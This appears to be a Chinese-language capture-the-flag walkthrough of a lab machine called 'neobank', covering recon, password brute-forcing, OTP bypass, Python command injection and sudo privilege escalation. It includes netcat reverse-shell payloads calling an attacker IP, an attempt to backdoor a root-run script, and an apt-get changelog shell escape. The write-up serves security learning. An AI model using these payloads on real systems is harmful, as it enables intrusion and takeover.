渗透过程

0x01 信息收集

主机发现

nmap主机发现,锁定靶机ip:192.168.56.143。

nmap 192.168.56.0/24 -Pn

全端口扫描,仅开放5000端口。

目录扫描

访问5000端口,登录页面,邮件+密码的登录方式。

目录扫描找邮箱和密码的线索。

gobuster dir -u "http://192.168.56.143:5000/" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x .zip,.txt,.html,.php

/otp和/qr路径需要登录才能访问。在/email_list中得到email列表。

登录密码爆破

抓包爆破。

payload1,加载通过目录扫描泄漏的邮箱。

payload2密码部分,根据作者提示,是数字密码,盲猜是6位的数字密码。

最终得到zeus@neobank.vln/246810

登录后,/otp页面如下,提示需要输入验证码。

/qr,二维码,两者结合大概就是通过二维码获得验证码?

Authenticator

微信扫码,在线扫描网站,浏览器插件扫描都没有结果。找了wp,说的是需要使用微软的软件Authenticator,用该软件扫描即可得到6位数的一次性验证码,30s更新。

输入扫描获得的验证码。看到输入框,估计是命令执行。

0x02 命令执行

命令执行,网站是python语言写的,尝试了几种python反弹shell,最终发现使用python内置函数__import__的的方式导入os模块来反弹shell。

__import__('os').system('nc -e /bin/bash 192.168.56.109 8888')

反弹成功。

获得简单tty。

which python
python -c 'import pty; pty.spawn("/bin/bash")'

start.sh,root用户创建,看脚本内容执行了python3 main.py,猜测是定时任务,并且我们有权限修改main.py的内容,赌一下到底是不是定时任务。

往main.py中写入反弹shell,最终失败了。

echo "import os;os.system('nc -e /bin/bash 192.168.56.109 7777')" >> main.py

0x03 数据库连接

/home目录下有banker用户目录,目录下文件无权限查看,结构如下:

有数据库,本地连接。

在~/html/main.py中找到数据用户名密码banker/neobank1

登录Mysql。

banker用户密码:adv1se.me

get user.txt

0x04 提权

sudo -l

查询提权命令。

sudo apt-get changelog apt
!/bin/sh

root.txt. 

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐